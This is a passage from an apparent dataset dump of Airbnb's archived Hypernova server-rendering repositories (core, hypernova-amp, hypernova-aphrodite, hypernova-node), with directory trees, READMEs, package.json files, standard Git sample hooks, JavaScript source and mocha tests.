DATA_KEY = 'hypernova-key';\nconst DATA_ID = 'hypernova-id';\n\n// https://gist.github.com/jed/982883\nfunction uuid() {\n return ([1e7] + -1e3 + -4e3 + -8e3 + -1e11).replace(\n /[018]/g,\n (x) => (x ^ Math.random() * 16 >> x / 4).toString(16), // eslint-disable-line no-mixed-operators, no-bitwise, max-len\n );\n}\n\nfunction encode(obj) {\n return ENCODE.reduce((str, coding) => {\n const [encodeChar, htmlEntity] = coding;\n return str.replace(new RegExp(encodeChar, 'g'), htmlEntity);\n }, JSON.stringify(obj));\n}\n\nfunction decode(res) {\n const jsonPayload = ENCODE.reduceRight((str, coding) => {\n const [encodeChar, htmlEntity] = coding;\n return str.replace(new RegExp(htmlEntity, 'g'), encodeChar);\n }, res);\n\n return JSON.parse(jsonPayload);\n}\n\nfunction makeValidDataAttribute(attr, value) {\n const encodedAttr = attr.toLowerCase().replace(/[^0-9a-z_-]/g, '');\n const encodedValue = value.replace(/&/g, '&').replace(/\"/g, '"');\n return `data-${encodedAttr}=\"${encodedValue}\"`;\n}\n\nfunction toScript(attrs, data) {\n const dataAttributes = Object.keys(attrs).map((name) => makeValidDataAttribute(name, attrs[name]));\n return `<script type=\"application/json\" ${dataAttributes.join(' ')}>${LEFT}${encode(data)}${RIGHT}</script>`; // eslint-disable-line max-len\n}\n\nfunction fromScript(attrs) {\n const selectors = Object.keys(attrs)\n .map((name) => `[${makeValidDataAttribute(name, attrs[name])}]`)\n .join('');\n const node = document.querySelector(`script${selectors}`);\n if (!node) return null;\n const jsonPayload = node.innerHTML;\n\n return decode(jsonPayload.slice(LEFT.length, jsonPayload.length - RIGHT.length));\n}\n\nfunction serialize(name, html, data) {\n const key = name.replace(/\\W/g, '');\n const id = uuid();\n const markup = `<div data-${DATA_KEY}=\"${key}\" data-${DATA_ID}=\"${id}\">${html}</div>`;\n const script = toScript({\n [DATA_KEY]: key,\n [DATA_ID]: id,\n }, data);\n return `${markup}\\n${script}`;\n}\n\nfunction load(name) {\n const key = name.replace(/\\W/g, '');\n const nodes = document.querySelectorAll(`div[data-${DATA_KEY}=\"${key}\"]`);\n\n return Array.prototype.map.call(nodes, (node) => {\n const id = node.getAttribute(`data-${DATA_ID}`);\n const data = fromScript({\n [DATA_KEY]: key,\n [DATA_ID]: id,\n });\n return { node, data };\n });\n}\n\nexport default function hypernova(runner) {\n return typeof window === 'undefined'\n ? runner.server()\n : runner.client();\n}\n\nhypernova.toScript = toScript;\nhypernova.fromScript = fromScript;\nhypernova.serialize = serialize;\nhypernova.load = load;\nhypernova.DATA_KEY = DATA_KEY;\nhypernova.DATA_ID = DATA_ID;\n", "test\\index-test.js": "import { assert } from 'chai';\nimport { DATA_KEY, DATA_ID } from '../lib';\n\ndescribe('hypernova', () => {\n it('DATA_KEY constant should be importable', () => {\n assert.equal(DATA_KEY, 'hypernova-key');\n });\n\n it('DATA_ID constant should be importable', () => {\n assert.equal(DATA_ID, 'hypernova-id');\n });\n});\n"} | null |
hypernova-amp | {"type": "directory", "name": "hypernova-amp", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "ampJson.js"}, {"type": "file", "name": "ampMetas.js"}, {"type": "file", "name": "ampPage.js"}, {"type": "file", "name": "ampScripts.js"}, {"type": "file", "name": "createAmpRender.js"}, {"type": "file", "name": "createElement.js"}, {"type": "file", "name": "index.js"}, {"type": "file", "name": "sanitize.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "file", "name": "ampJson-test.js"}, {"type": "file", "name": "ampMetas-test.js"}, {"type": "file", "name": "ampPage-test.js"}, {"type": "file", "name": "ampScripts-test.js"}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "AphroditeComponent.jsx"}]}, {"type": "file", "name": "createElement-test.js"}, {"type": "file", "name": "index-test.js"}, {"type": "file", "name": "sanitize-test.js"}]}]} | | :exclamation: Deprecation Notice |
|:-|
|We want to express our sincere gratitude for your support and contributions to the Hypernova open source project. As we are no longer using this technology internally, we have come to the decision to archive the Hypernova repositories. While we won't be providing further updates or support, the existing code and resources will remain accessible for your reference. We encourage anyone interested to fork the repository and continue the project's legacy independently. Thank you for being a part of this journey and for your patience and understanding.|
---
# hypernova-amp
[Aphrodite](https://github.com/Khan/aphrodite) bindings for [Hypernova](https://github.com/airbnb/hypernova)
for rendering AMP pages.
## Install
```sh
npm install hypernova-amp
```
## Usage
Here's how use use it in your module:
```js
import { renderReactAmpWithAphrodite } from 'hypernova-amp';
import MyComponent from './src/MyComponent.jsx';
export default renderReactAmpWithAphrodite(
'MyComponent.hypernova.js', // this file's name (or really any unique name)
MyComponent,
{/* Options */},
);
```
## Options
### `prependCSS` (string)
Inserts css before the generated CSS.
### `appendCSS` (string)
Inserts css after the generated CSS.
### `enableAmpBind` (bool)
Set to `true` to enable [amp-bind](https://www.ampproject.org/docs/reference/components/amp-bind).
Default: `false`.
This will transform any attribute named `amp-bind-x` into an attribute named `[x]`. This is necessary
because react does not support `[x]` prop even in conjunction with `is` (see next section).
### `enableRemoveIs` (bool)
Utilizes regex to remove `is` attribute. React has an undocumented `is` prop that when added to an element,
prevents React from transforming/filtering props that you add to the element. Any prop that you
add will be added as an attribute with the same name. For example, adding a `class`
prop to a `<div>` will add a `class` attribute to the `<div>`. This also means that adding a
`className` prop will not do what you normally would expect it to do. You'll want to add the `is`
prop when using `amp-bind-class` together with `class`, for example. However, the problem arises
where the `is` attribute is also added to the element which causes an AMP validation error. Enabling
the `enableRemoveIs` option will remove the `is` attribute and thus eliminate the validation error.
Here's an example which utilizes `enableAmpBind` and `enableRemoveIs`:
```
<div
is
amp-bind-class={`showThing ? '${thingClass} ${thingOpenClass}' : '${thingClass}'`}
class={ampSearchBarClass}
>
...
</div>
```
... elsewhere you might have a button like this:
```
<div
is
role="button"
on="tap:AMP.setState({ showThing: !showThing })"
tabindex="0"
>
Toggle Thing Component
</div>
```
### `scripts` (array)
Each element of the array is an object with any of the following values:
- `scripts.customElement` (string)
- `scripts.customTemplate` (string)
- `scripts.src` (string):
### `ampExperimentToken` (string)
Adds `amp-experiment-token` meta tag with token.
### `title` (string)
Page title
### `canonicalUrl` (string)
Adds meta tag with canonical URL.
### `jsonSchema` (object)
Adds json schema meta tag.
### `ampState` (object)
Adds [amp-state tag](https://www.ampproject.org/docs/reference/components/amp-bind#initializing-state-with-amp-state).
### `ampAnalytics` (object)
Adds [amp-analytics tag](https://developers.google.com/analytics/devguides/collection/amp-analytics/)
### `ampGoogleAnalytics` (object)
Adds [amp-analytics (google type) tag](https://developers.google.com/analytics/devguides/collection/amp-analytics/)
## Publishing a new release
- Add entry to CHANGELOG.md
- Make a commit, directly onto master, that does nothing but adds/updates the changelog and bumps package.json, with a commit message of “vX.Y.Z"
- `git tag vX.Y.Z`
- `git push --tags`
- wait for travis to pass
- `npm install && npm test && npm publish`
| {"package.json": "{\n \"name\": \"hypernova-amp\",\n \"version\": \"3.2.0\",\n \"description\": \"Aphrodite bindings for Hypernova\",\n \"main\": \"lib/index.js\",\n \"scripts\": {\n \"prepublish\": \"npm run build\",\n \"build\": \"rimraf lib && babel src -d lib\",\n \"lint\": \"eslint src test\",\n \"pretest\": \"npm run lint\",\n \"test\": \"npm run build && npm run test:coverage\",\n \"tests-only\": \"npm run build && npm run test:quick\",\n \"test:coverage\": \"babel-node node_modules/.bin/istanbul cover node_modules/.bin/_mocha -- -R tap test/*-test.js\",\n \"test:quick\": \"babel-node node_modules/.bin/_mocha -R tap test/*-test.js\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/hypernova-amp.git\"\n },\n \"keywords\": [\n \"aphrodite\",\n \"css\",\n \"styles\",\n \"react\",\n \"hypernova\",\n \"server\",\n \"render\",\n \"isomorphic\",\n \"universal\"\n ],\n \"files\": [\n \"README.md\",\n \"lib\",\n \"src\",\n \"test\",\n \".eslintrc\",\n \".babelrc\"\n ],\n \"author\": \"Gil Birman <[email protected]>\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/hypernova-amp/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/hypernova-amp\",\n \"peerDependencies\": {\n \"aphrodite\": \"^0.5.0 || ^1.1.0 || ^2.0.0\",\n \"hypernova\": \"^2.0.0\",\n \"react\": \"0.14.x || >= 15.x\",\n \"react-dom\": \"0.14.x || >= 15.x\"\n },\n \"devDependencies\": {\n \"aphrodite\": \"^0.5.0\",\n \"babel-cli\": \"^6.22.2\",\n \"babel-preset-airbnb\": \"^2.2.3\",\n \"chai\": \"^3.5.0\",\n \"eslint\": \"^3.14.1\",\n \"eslint-config-airbnb\": \"^14.0.0\",\n \"eslint-plugin-import\": \"^2.2.0\",\n \"eslint-plugin-jsx-a11y\": \"^3.0.2\",\n \"eslint-plugin-react\": \"^6.9.0\",\n \"hypernova\": \"^1.0.0\",\n \"istanbul\": \"^0.4.5\",\n \"jsdom\": \"^9.9.1\",\n \"mocha\": \"^3.2.0\",\n \"react\": \"^15.4.2\",\n \"react-dom\": \"^15.4.2\",\n \"rimraf\": \"^2.5.4\",\n \"sinon\": \"^1.17.7\"\n },\n \"dependencies\": {\n \"sanitize-html\": \"^1.14.1\"\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\index.js": "import hypernova from 'hypernova';\nimport createAmpRender from './createAmpRender';\n\n// eslint-disable-next-line import/prefer-default-export\nexport const renderReactAmpWithAphrodite = (name, component, ampOptions = {}) => hypernova({\n server() {\n // TODO(gil): The `name` arg is ignored. It historically exists to\n // match the arguments of renderReactWithAphrodite from the hypernova-aphrodite\n // package but should probably be removed\n return createAmpRender(component, ampOptions);\n },\n});\n", "test\\index-test.js": "import { assert } from 'chai';\nimport AphroditeComponent from './components/AphroditeComponent';\nimport { renderReactAmpWithAphrodite } from '../';\n\ndescribe('index', () => {\n describe('without options', () => {\n let result;\n beforeEach(() => {\n result = renderReactAmpWithAphrodite('AC', AphroditeComponent)({\n children: ['Zack'],\n onPress() { console.log('Clicked'); },\n });\n });\n\n it('the markup looks good', () => {\n assert.isString(result);\n assert.ok(/html amp/.test(result));\n assert.ok(/style amp-custom/.test(result));\n });\n });\n\n describe('with options', () => {\n describe('prependCSS and appendCSS options', () => {\n const appendCSS = 'xyz123';\n const prependCSS = 'abc789';\n let result;\n beforeEach(() => {\n result = renderReactAmpWithAphrodite('AC', AphroditeComponent, {\n appendCSS,\n prependCSS,\n })({\n children: ['Zack'],\n onPress() { console.log('Clicked'); },\n });\n });\n\n it('appends and prepends css', () => {\n const aIndex = result.indexOf(appendCSS);\n const pIndex = result.indexOf(prependCSS);\n assert.ok(pIndex < aIndex);\n assert.ok(pIndex > 0);\n assert.ok(aIndex > 0);\n });\n });\n });\n});\n"} | null |
hypernova-aphrodite | {"type": "directory", "name": "hypernova-aphrodite", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "enhance.js"}, {"type": "file", "name": "index.browser.js"}, {"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": ".eslintrc"}, {"type": "directory", "name": "components", "children": [{"type": "file", "name": "AphroditeComponent.jsx"}, {"type": "file", "name": "withHOC.jsx"}]}, {"type": "file", "name": "enhance-test.js"}, {"type": "file", "name": "index-test.js"}, {"type": "file", "name": "index.browser-test.js"}]}]} | | :exclamation: Deprecation Notice |
|:-|
|We want to express our sincere gratitude for your support and contributions to the Hypernova open source project. As we are no longer using this technology internally, we have come to the decision to archive the Hypernova repositories. While we won't be providing further updates or support, the existing code and resources will remain accessible for your reference. We encourage anyone interested to fork the repository and continue the project's legacy independently. Thank you for being a part of this journey and for your patience and understanding.|
---
# hypernova-aphrodite
[Aphrodite](https://github.com/Khan/aphrodite) bindings for [Hypernova](https://github.com/airbnb/hypernova).
## Install
```sh
npm install hypernova-aphrodite
```
## Usage
Here's how use use it in your module:
```js
import { renderReactWithAphrodite } from 'hypernova-aphrodite';
import MyComponent from './src/MyComponent.jsx';
export default renderReactWithAphrodite(
'MyComponent.hypernova.js', // this file's name (or really any unique name)
MyComponent,
);
```
| {"package.json": "{\n \"name\": \"hypernova-aphrodite\",\n \"version\": \"3.0.0\",\n \"description\": \"Aphrodite bindings for Hypernova\",\n \"main\": \"lib/index.js\",\n \"browser\": \"lib/index.browser.js\",\n \"scripts\": {\n \"prepublish\": \"npm run build\",\n \"clean\": \"rimraf lib coverage\",\n \"prebuild\": \"npm run clean\",\n \"build\": \"babel src -d lib\",\n \"lint\": \"eslint --ext=js,jsx src test\",\n \"pretest\": \"npm run lint\",\n \"test\": \"npm run coverage\",\n \"tests-only\": \"npm run test:quick\",\n \"precoverage\": \"npm run build\",\n \"coverage\": \"babel-node \\\"$(which istanbul)\\\" cover \\\"$(which _mocha)\\\" -- -R tap test/*-test.js\",\n \"pretest:quick\": \"npm run build\",\n \"test:quick\": \"babel-node \\\"$(which _mocha)\\\" -R tap test/*-test.js\"\n },\n \"repository\": {\n \"type\": \"git\",\n \"url\": \"git+https://github.com/airbnb/hypernova-aphrodite.git\"\n },\n \"keywords\": [\n \"aphrodite\",\n \"css\",\n \"styles\",\n \"react\",\n \"hypernova\",\n \"server\",\n \"render\",\n \"isomorphic\",\n \"universal\"\n ],\n \"files\": [\n \"README.md\",\n \"lib\",\n \"src\",\n \"test\",\n \".eslintrc\",\n \".babelrc\"\n ],\n \"author\": \"Josh Perez <[email protected]>\",\n \"license\": \"MIT\",\n \"bugs\": {\n \"url\": \"https://github.com/airbnb/hypernova-aphrodite/issues\"\n },\n \"homepage\": \"https://github.com/airbnb/hypernova-aphrodite\",\n \"peerDependencies\": {\n \"hypernova\": \"^2.0.0\",\n \"react\": \"0.14.x || >= 15.x\",\n \"react-dom\": \"0.14.x || >= 15.x\",\n \"aphrodite\": \"^0.4.0 || ^1.1.0 || ^2\"\n },\n \"devDependencies\": {\n \"aphrodite\": \"^0.4.0 || ^1.1.0 || ^2\",\n \"babel-cli\": \"^6.26.0\",\n \"babel-preset-airbnb\": \"^2.6.0\",\n \"chai\": \"^4.2.0\",\n \"enzyme\": \"^3.8.0\",\n \"enzyme-adapter-react-helper\": \"^1.3.1\",\n \"eslint\": \"^5.10.0\",\n \"eslint-config-airbnb\": \"^17.1.0\",\n \"eslint-plugin-import\": \"^2.14.0\",\n \"eslint-plugin-jsx-a11y\": \"^6.1.2\",\n \"eslint-plugin-react\": \"^7.11.1\",\n \"hypernova\": \"^2.4.0\",\n \"istanbul\": \"^0.4.5\",\n \"jsdom\": \"^9.12.0\",\n \"mocha\": \"^4.1.0\",\n \"prop-types\": \"^15.6.2\",\n \"react\": \"^15 || ^16\",\n \"react-dom\": \"^15 || ^16\",\n \"rimraf\": \"^2.6.2\",\n \"sinon\": \"^5.1.1\"\n },\n \"greenkeeper\": {\n \"ignore\": [\n \"jsdom\"\n ]\n }\n}\n", ".git\\hooks\\applypatch-msg.sample": "#!/bin/sh\n#\n# An example hook script to check the commit log message taken by\n# applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit. The hook is\n# allowed to edit the commit message file.\n#\n# To enable this hook, rename this file to \"applypatch-msg\".\n\n. git-sh-setup\ncommitmsg=\"$(git rev-parse --git-path hooks/commit-msg)\"\ntest -x \"$commitmsg\" && exec \"$commitmsg\" ${1+\"$@\"}\n:\n", ".git\\hooks\\pre-applypatch.sample": "#!/bin/sh\n#\n# An example hook script to verify what is about to be committed\n# by applypatch from an e-mail message.\n#\n# The hook should exit with non-zero status after issuing an\n# appropriate message if it wants to stop the commit.\n#\n# To enable this hook, rename this file to \"pre-applypatch\".\n\n. git-sh-setup\nprecommit=\"$(git rev-parse --git-path hooks/pre-commit)\"\ntest -x \"$precommit\" && exec \"$precommit\" ${1+\"$@\"}\n:\n", "src\\index.browser.js": "import React from 'react';\nimport ReactDOM from 'react-dom';\nimport hypernova, {\n load,\n fromScript,\n} from 'hypernova';\nimport { StyleSheet } from 'aphrodite';\n\nimport { setRenderEnhancers, enhance } from './enhance';\n\nexport { setRenderEnhancers };\n\nconst returnThrower = () => () => {\n throw new Error('server functionality does not work in browser');\n};\n\nexport const renderReactWithAphrodite = (name, component) => {\n const enhancedComponent = enhance(component);\n\n return hypernova({\n server: returnThrower,\n\n client() {\n const classNames = fromScript({ 'aphrodite-css': name });\n if (classNames) StyleSheet.rehydrate(classNames);\n\n const payloads = load(name);\n if (payloads) {\n payloads.forEach((payload) => {\n const { node, data } = payload;\n if (node) {\n const element = React.createElement(enhancedComponent, data);\n if (ReactDOM.hydrate) {\n ReactDOM.hydrate(element, node);\n } else {\n ReactDOM.render(element, node);\n }\n }\n });\n }\n\n return component;\n },\n });\n};\n\nexport const renderReactWithAphroditeStatic = () => hypernova({\n server: returnThrower,\n client() {},\n});\n", "src\\index.js": "import React from 'react';\nimport ReactDOMServer from 'react-dom/server';\nimport hypernova, {\n serialize,\n toScript,\n} from 'hypernova';\nimport { StyleSheetServer } from 'aphrodite';\n\nimport { setRenderEnhancers, enhance } from './enhance';\n\nexport { setRenderEnhancers };\n\nconst thrower = () => {\n throw new Error('client functionality does not work on server');\n};\n\nexport const renderReactWithAphrodite = (name, component) => {\n const enhancedComponent = enhance(component);\n return hypernova({\n server() {\n return (props) => {\n const { html, css } = StyleSheetServer.renderStatic(() => {\n const element = React.createElement(enhancedComponent, props);\n return ReactDOMServer.renderToString(element);\n });\n\n const style = `<style data-aphrodite=\"data-aphrodite\">${css.content}</style>`;\n const markup = serialize(name, html, props);\n const classNames = toScript({ 'aphrodite-css': name }, css.renderedClassNames);\n\n return `${style}\\n${markup}\\n${classNames}`;\n };\n },\n\n client: thrower,\n });\n};\n\nexport const renderReactWithAphroditeStatic = (name, component) => {\n const enhancedComponent = enhance(component);\n return hypernova({\n server() {\n return (props) => {\n const { html, css } = StyleSheetServer.renderStatic(() => {\n const element = React.createElement(enhancedComponent, props);\n return ReactDOMServer.renderToStaticMarkup(element);\n });\n\n const style = `<style data-aphrodite=\"data-aphrodite\">${css.content}</style>`;\n\n return `${style}\\n${html}`;\n };\n },\n\n client: thrower,\n });\n};\n", "test\\index-test.js": "import jsdom from 'jsdom';\nimport { assert } from 'chai';\nimport sinon from 'sinon';\nimport ReactDOM from 'react-dom';\nimport ifReact from 'enzyme-adapter-react-helper/build/ifReact';\n\nimport AphroditeComponent from './components/AphroditeComponent';\nimport {\n renderReactWithAphrodite,\n renderReactWithAphroditeStatic,\n} from '..';\n\ndescribe('renderReactWithAphrodite aphrodite css rendering', () => {\n let originalWindow;\n let originalDocument;\n let result;\n\n beforeEach(() => {\n originalWindow = global.window;\n originalDocument = global.document;\n result = renderReactWithAphrodite('AC', AphroditeComponent)({\n children: ['Zack'],\n onPress() { console.log('Clicked'); },\n });\n });\n\n afterEach(() => {\n global.window = originalWindow;\n global.document = originalDocument;\n });\n\n it('the markup looks good', () => {\n assert.isString(result);\n\n assert.ok(/style data-aphrodite/.test(result));\n assert.ok(/Zack/.test(result));\n assert.ok(/data-aphrodite-css/.test(result));\n });\n\n ifReact('>= 16', it, it.skip)('blows up when calling renderReactWithAphrodite on the client', (done) => {\n jsdom.env(result, (err, window) => {\n if (err) {\n done(err);\n return;\n }\n\n global.window = window;\n global.document = window.document;\n\n\n assert.throws(() => renderReactWithAphrodite('AC', AphroditeComponent));\n\n delete global.window;\n delete global.document;\n\n done();\n });\n });\n\n it('blows up when calling renderReactWithAphrodite on the client (render method)', (done) => {\n jsdom.env(result, (err, window) => {\n if (err) {\n done(err);\n return;\n }\n\n global.window = window;\n global.document = window.document;\n\n const sandbox = sinon.createSandbox();\n if (ReactDOM.hydrate) {\n sandbox.stub(ReactDOM, 'hydrate').value(undefined);\n }\n\n assert.throws(() => renderReactWithAphrodite('AC', AphroditeComponent));\n\n sandbox.restore();\n\n delete global.window;\n delete global.document;\n\n done();\n });\n });\n});\n\ndescribe('renderReactWithAphroditeStatic static aphrodite css rendering', () => {\n let originalWindow;\n let originalDocument;\n let result;\n\n beforeEach(() => {\n originalWindow = global.window;\n originalDocument = global.document;\n result = renderReactWithAphroditeStatic('AC', AphroditeComponent)({\n children: ['Steven'],\n onPress() {},\n });\n });\n\n afterEach(() => {\n global.window = originalWindow;\n global.document = originalDocument;\n });\n\n describe('on the server', () => {\n it('the output contains styles and component content', () => {\n assert.isString(result);\n\n assert.ok(/style data-aphrodite/.test(result));\n assert.ok(/Steven/.test(result));\n });\n\n it('the markup does not contain aphrodite-css info for the client', () => {\n assert.isFalse(/data-aphrodite-css/.test(result));\n });\n });\n\n describe('on the client', () => {\n it('throws', (done) => {\n jsdom.env(result, (err, window) => {\n if (err) {\n done(err);\n return;\n }\n\n global.window = window;\n global.document = window.document;\n\n assert.throws(() => renderReactWithAphroditeStatic('AC', AphroditeComponent), 'functionality does not work');\n\n done();\n });\n });\n });\n});\n", "test\\index.browser-test.js": "import jsdom from 'jsdom';\nimport { assert } from 'chai';\nimport sinon from 'sinon';\nimport ReactDOM from 'react-dom';\nimport ifReact from 'enzyme-adapter-react-helper/build/ifReact';\n\nimport AphroditeComponent from './components/AphroditeComponent';\nimport {\n renderReactWithAphrodite as serverRenderReactWithAphrodite,\n renderReactWithAphroditeStatic as serverRenderReactWithAphroditeStatic,\n} from '..';\nimport {\n renderReactWithAphrodite,\n renderReactWithAphroditeStatic,\n} from '../lib/index.browser';\n\ndescribe('renderReactWithAphrodite aphrodite css rendering', () => {\n let originalWindow;\n let originalDocument;\n let result;\n\n beforeEach(() => {\n originalWindow = global.window;\n originalDocument = global.document;\n result = serverRenderReactWithAphrodite('AC', AphroditeComponent)({\n children: ['Zack'],\n onPress() { console.log('Clicked'); },\n });\n });\n\n afterEach(() => {\n global.window = originalWindow;\n global.document = originalDocument;\n });\n\n it('the markup looks good', () => {\n assert.isString(result);\n\n assert.ok(/style data-aphrodite/.test(result));\n assert.ok(/Zack/.test(result));\n assert.ok(/data-aphrodite-css/.test(result));\n });\n\n it('throws when calling renderReactWithAphrodite on the server', () => {\n assert.throws(() => renderReactWithAphrodite('AC', AphroditeComponent)(), 'functionality does not work');\n });\n\n ifReact('>= 16', it, it.skip)('does not blow up when calling renderReactWithAphrodite on the client', (done) => {\n jsdom.env(result, (err, window) => {\n if (err) {\n done(err);\n return;\n }\n\n global.window = window;\n global.document = window.document;\n\n const hydrateMethod = sinon.spy(ReactDOM, 'hydrate');\n\n renderReactWithAphrodite('AC', AphroditeComponent);\n\n assert(hydrateMethod.calledOnce);\n\n delete global.window;\n delete global.document;\n\n hydrateMethod.restore();\n\n done();\n });\n });\n\n it('does not blow up when calling renderReactWithAphrodite on the client (render method)', (done) => {\n jsdom.env(result, (err, window) => {\n if (err) {\n done(err);\n return;\n }\n\n global.window = window;\n global.document = window.document;\n\n const sandbox = sinon.createSandbox();\n if (ReactDOM.hydrate) {\n sandbox.stub(ReactDOM, 'hydrate').value(undefined);\n }\n\n const renderMethod = sinon.spy(ReactDOM, 'render');\n\n renderReactWithAphrodite('AC', AphroditeComponent);\n\n assert(renderMethod.calledOnce);\n\n sandbox.restore();\n\n delete global.window;\n delete global.document;\n\n done();\n });\n });\n});\n\ndescribe('renderReactWithAphroditeStatic static aphrodite css rendering', () => {\n let originalWindow;\n let originalDocument;\n let result;\n\n beforeEach(() => {\n originalWindow = global.window;\n originalDocument = global.document;\n result = serverRenderReactWithAphroditeStatic('AC', AphroditeComponent)({\n children: ['Steven'],\n onPress() {},\n });\n });\n\n afterEach(() => {\n global.window = originalWindow;\n global.document = originalDocument;\n });\n\n it('returns nothing', (done) => {\n jsdom.env(result, (err, window) => {\n if (err) {\n done(err);\n return;\n }\n\n global.window = window;\n global.document = window.document;\n\n assert.isUndefined(renderReactWithAphroditeStatic('AC', AphroditeComponent));\n\n done();\n });\n });\n});\n"} | null |
hypernova-node | {"type": "directory", "name": "hypernova-node", "children": [{"type": "file", "name": ".babelrc"}, {"type": "file", "name": ".eslintrc"}, {"type": "file", "name": ".istanbul.yml"}, {"type": "file", "name": ".npmignore"}, {"type": "file", "name": ".npmrc"}, {"type": "file", "name": ".travis.yml"}, {"type": "file", "name": "CHANGELOG.md"}, {"type": "directory", "name": "examples", "children": [{"type": "file", "name": "exampleServer.js"}]}, {"type": "file", "name": "LICENSE"}, {"type": "file", "name": "package.json"}, {"type": "directory", "name": "plugins", "children": [{"type": "file", "name": "devModePlugin.js"}]}, {"type": "file", "name": "README.md"}, {"type": "directory", "name": "src", "children": [{"type": "file", "name": "index.js"}]}, {"type": "directory", "name": "test", "children": [{"type": "file", "name": "broken-server-test.js"}, {"type": "file", "name": "no-plugin-test.js"}, {"type": "file", "name": "plugin-getComponentProps-test.js"}, {"type": "file", "name": "plugin-onError-test.js"}, {"type": "file", "name": "plugin-onSuccess-test.js"}, {"type": "file", "name": "plugin-prepareRequest-test.js"}, {"type": "file", "name": "plugin-shouldSendRequest-test.js"}, {"type": "file", "name": "plugin-willSendRequest-test.js"}, {"type": "file", "name": "rendererProvider.js"}, {"type": "file", "name": "runAssertions.js"}, {"type": "file", "name": "runTest.js"}, {"type": "file", "name": "server.js"}]}]} | | :exclamation: Deprecation Notice |
|:-|
|We want to express our sincere gratitude for your support and contributions to the Hypernova open source project. As we are no longer using this technology internally, we have come to the decision to archive the Hypernova repositories. While we won't be providing further updates or support, the existing code and resources will remain accessible for your reference. We encourage anyone interested to fork the repository and continue the project's legacy independently. Thank you for being a part of this journey and for your patience and understanding.|
---
# hypernova-client
> A node client for sending requests to Hypernova.
## class Renderer
### Renderer.prototype.addPlugin
> (plugin: HypernovaPlugin)
Adds a plugin to the renderer.
### Renderer.prototype.render
> (data: Jobs): Promise<string>
Sends a request to Hypernova for the provided payload and returns a promise which will fulfill
with the HTML string you can pass down to the client.
## Example usage
```js
const express = require('express');
const Renderer = require('hypernova-client');
const devModePlugin = require('../plugins/devModePlugin');
const app = express();
const renderer = new Renderer({
url: 'http://localhost:3030/batch',
plugins: [
devModePlugin,
],
});
app.get('/', (req, res) => {
const jobs = {
MyComponent: { name: req.query.name || 'Stranger' },
Component2: { text: 'Hello World' },
};
renderer.render(jobs).then(html => res.send(html));
});
app.listen(8080, () => console.log('Now listening'));
```
## Plugin Lifecycle API
```typescript
function getViewData(viewName: string, data: any): any {}
```
Allows you to alter the data that a "view" will receive.
```typescript
type Job = { name: string, data: any };
type Jobs = { [string]: Job };
function prepareRequest(currentJobs: Jobs, originalJobs: Jobs): Jobs {}
```
A reducer type function that is called when preparing the request that will be sent to Hypernova.
This function receives the current running jobs Object and the original jobs Object.
```typescript
function shouldSendRequest(jobs: Jobs): boolean {}
```
An `every` type function. If one returns `false` then the request is canceled.
```typescript
function willSendRequest(jobs: Jobs): void {}
```
An event type function that is called prior to a request being sent.
```typescript
type Job = { name: string, data: any };
type Response = {
[string]: {
error: ?Error,
html: string,
job: Job,
},
};
function afterResponse(currentResponse: any, originalResponse: Response): any {}
```
A reducer type function which receives the current response and the original response from the
Hypernova service.
```typescript
type Job = { name: string, data: any };
type Jobs = { [string]: Job };
function onSuccess(jobs: Jobs): void {}
```
An event type function that is called whenever a request was successful.
```typescript
type Job = { name: string, data: any };
type Jobs = { [string]: Job };
function onError(err: Error, jobs: Jobs): void {}
```
An event type function that is called whenever any error is encountered.
